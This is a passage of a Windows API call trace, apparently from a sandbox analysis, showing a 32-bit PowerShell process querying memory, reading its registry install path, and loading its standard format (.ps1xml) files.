RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.426] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.426] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.432] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.434] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.436] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e9ac | out: phkResult=0x27e9ac*=0x354) returned 0x0 [0096.436] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x27ea14, lpData=0x0, lpcbData=0x27ea10*=0x0 | out: lpType=0x27ea14*=0x1, lpData=0x0, lpcbData=0x27ea10*=0x74) returned 0x0 [0096.436] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x27e9f4, lpData=0x0, lpcbData=0x27e9f0*=0x0 | out: lpType=0x27e9f4*=0x1, lpData=0x0, lpcbData=0x27e9f0*=0x74) returned 0x0 [0096.437] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x27e9f4, lpData=0x6f7118, lpcbData=0x27e9f0*=0x74 | out: lpType=0x27e9f4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x27e9f0*=0x74) returned 0x0 [0096.450] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x27e574, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0096.450] GetLastError () returned 0xcb [0096.450] SetErrorMode (uMode=0x1) returned 0x1 [0096.450] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x27e9f4 | out: lpFileInformation=0x27e9f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0096.451] GetLastError () returned 0xcb [0096.451] SetErrorMode (uMode=0x1) returned 0x1 [0096.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.451] GetLastError () returned 0xcb [0096.451] SetErrorMode (uMode=0x1) returned 0x1 [0096.451] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0096.453] GetLastError () returned 0xcb [0096.453] SetErrorMode (uMode=0x1) returned 0x1 [0096.453] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0096.453] GetLastError () returned 0xcb [0096.453] SetErrorMode (uMode=0x1) returned 0x1 [0096.453] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0096.454] GetLastError () returned 0xcb [0096.454] SetErrorMode (uMode=0x1) returned 0x1 [0096.454] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.454] GetLastError () returned 0xcb [0096.454] SetErrorMode (uMode=0x1) returned 0x1 [0096.454] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0096.455] GetLastError () returned 0xcb [0096.455] SetErrorMode (uMode=0x1) returned 0x1 [0096.455] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.455] GetLastError () returned 0xcb [0096.455] SetErrorMode (uMode=0x1) returned 0x1 [0096.455] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0096.455] GetLastError () returned 0xcb [0096.455] SetErrorMode (uMode=0x1) returned 0x1 [0096.455] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0096.456] GetLastError () returned 0xcb [0096.456] SetErrorMode (uMode=0x1) returned 0x1 [0096.456] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0096.456] GetLastError () returned 0xcb [0096.456] SetErrorMode (uMode=0x1) returned 0x1 [0096.456] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0096.456] GetLastError () returned 0xcb [0096.456] SetErrorMode (uMode=0x1) returned 0x1 [0096.456] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0096.456] GetLastError () returned 0xcb [0096.456] SetErrorMode (uMode=0x1) returned 0x1 [0096.456] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0096.456] GetLastError () returned 0xcb [0096.456] SetErrorMode (uMode=0x1) returned 0x1 [0096.457] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0096.457] GetLastError () returned 0xcb [0096.457] SetErrorMode (uMode=0x1) returned 0x1 [0096.457] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0096.457] GetLastError () returned 0xcb [0096.457] SetErrorMode (uMode=0x1) returned 0x1 [0096.457] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0096.458] GetLastError () returned 0xcb [0096.458] SetErrorMode (uMode=0x1) returned 0x1 [0096.458] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e568, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0096.458] GetLastError () returned 0xcb [0096.458] SetErrorMode (uMode=0x1) returned 0x1 [0096.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9e8 | out: lpFileInformation=0x27e9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0096.458] GetLastError () returned 0xcb [0096.458] SetErrorMode (uMode=0x1) returned 0x1 [0096.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.465] GetLastError () returned 0xcb [0096.465] SetErrorMode (uMode=0x1) returned 0x1 [0096.465] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.465] GetLastError () returned 0x0 [0096.465] GetFileType (hFile=0x324) returned 0x1 [0096.465] SetErrorMode (uMode=0x1) returned 0x1 [0096.465] GetFileType (hFile=0x324) returned 0x1 [0096.465] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.467] GetLastError () returned 0x0 [0096.470] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.470] GetLastError () returned 0x0 [0096.471] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.471] GetLastError () returned 0x0 [0096.471] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.471] GetLastError () returned 0x0 [0096.471] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.471] GetLastError () returned 0x0 [0096.471] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.471] GetLastError () returned 0x0 [0096.472] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x9e2, lpOverlapped=0x0) returned 1 [0096.472] GetLastError () returned 0x0 [0096.472] ReadFile (in: hFile=0x324, lpBuffer=0x2cfda16, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfda16*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.472] GetLastError () returned 0x0 [0096.472] ReadFile (in: hFile=0x324, lpBuffer=0x2cfe494, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2cfe494*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.472] GetLastError () returned 0x0 [0096.472] CloseHandle (hObject=0x324) returned 1 [0096.472] GetLastError () returned 0x0 [0096.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.472] GetLastError () returned 0x0 [0096.472] SetErrorMode (uMode=0x1) returned 0x1 [0096.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2d0f550 | out: lpFileInformation=0x2d0f550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0096.473] GetLastError () returned 0x0 [0096.473] SetErrorMode (uMode=0x1) returned 0x1 [0096.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.473] GetLastError () returned 0x0 [0096.473] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.473] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.473] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.473] RegCloseKey (hKey=0x324) returned 0x0 [0096.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.474] GetLastError () returned 0x0 [0096.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.474] GetLastError () returned 0x0 [0096.503] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xbc6537e, Data2=0x250f, Data3=0x4044, Data4=([0]=0x84, [1]=0xd2, [2]=0xfb, [3]=0x5a, [4]=0xf0, [5]=0x7, [6]=0xa4, [7]=0x39))) returned 0x0 [0096.530] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x8561f244, Data2=0xbe54, Data3=0x4ae9, Data4=([0]=0x82, [1]=0x6, [2]=0x20, [3]=0xcf, [4]=0x27, [5]=0x6e, [6]=0x37, [7]=0x49))) returned 0x0 [0096.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0096.532] GetLastError () returned 0x0 [0096.532] SetErrorMode (uMode=0x1) returned 0x1 [0096.533] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.533] GetLastError () returned 0x0 [0096.533] GetFileType (hFile=0x324) returned 0x1 [0096.533] SetErrorMode (uMode=0x1) returned 0x1 [0096.533] GetFileType (hFile=0x324) returned 0x1 [0096.533] ReadFile (in: hFile=0x324, lpBuffer=0x2d22838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d22838*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.536] GetLastError () returned 0x0 [0096.537] ReadFile (in: hFile=0x324, lpBuffer=0x2d22838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d22838*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.537] GetLastError () returned 0x0 [0096.537] ReadFile (in: hFile=0x324, lpBuffer=0x2d22838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d22838*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.537] GetLastError () returned 0x0 [0096.538] ReadFile (in: hFile=0x324, lpBuffer=0x2d22838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d22838*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.538] GetLastError () returned 0x0 [0096.538] ReadFile (in: hFile=0x324, lpBuffer=0x2d22838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d22838*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.538] GetLastError () returned 0x0 [0096.540] ReadFile (in: hFile=0x324, lpBuffer=0x2d22838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d22838*, lpNumberOfBytesRead=0x27e864*=0xfb2, lpOverlapped=0x0) returned 1 [0096.540] GetLastError () returned 0x0 [0096.540] ReadFile (in: hFile=0x324, lpBuffer=0x2d21f8a, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d21f8a*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.540] GetLastError () returned 0x0 [0096.540] ReadFile (in: hFile=0x324, lpBuffer=0x2d22838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2d22838*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.540] GetLastError () returned 0x0 [0096.540] CloseHandle (hObject=0x324) returned 1 [0096.540] GetLastError () returned 0x0 [0096.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0096.540] GetLastError () returned 0x0 [0096.540] SetErrorMode (uMode=0x1) returned 0x1 [0096.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2d430c8 | out: lpFileInformation=0x2d430c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0096.540] GetLastError () returned 0x0 [0096.541] SetErrorMode (uMode=0x1) returned 0x1 [0096.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0096.541] GetLastError () returned 0x0 [0096.541] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.541] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.541] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, 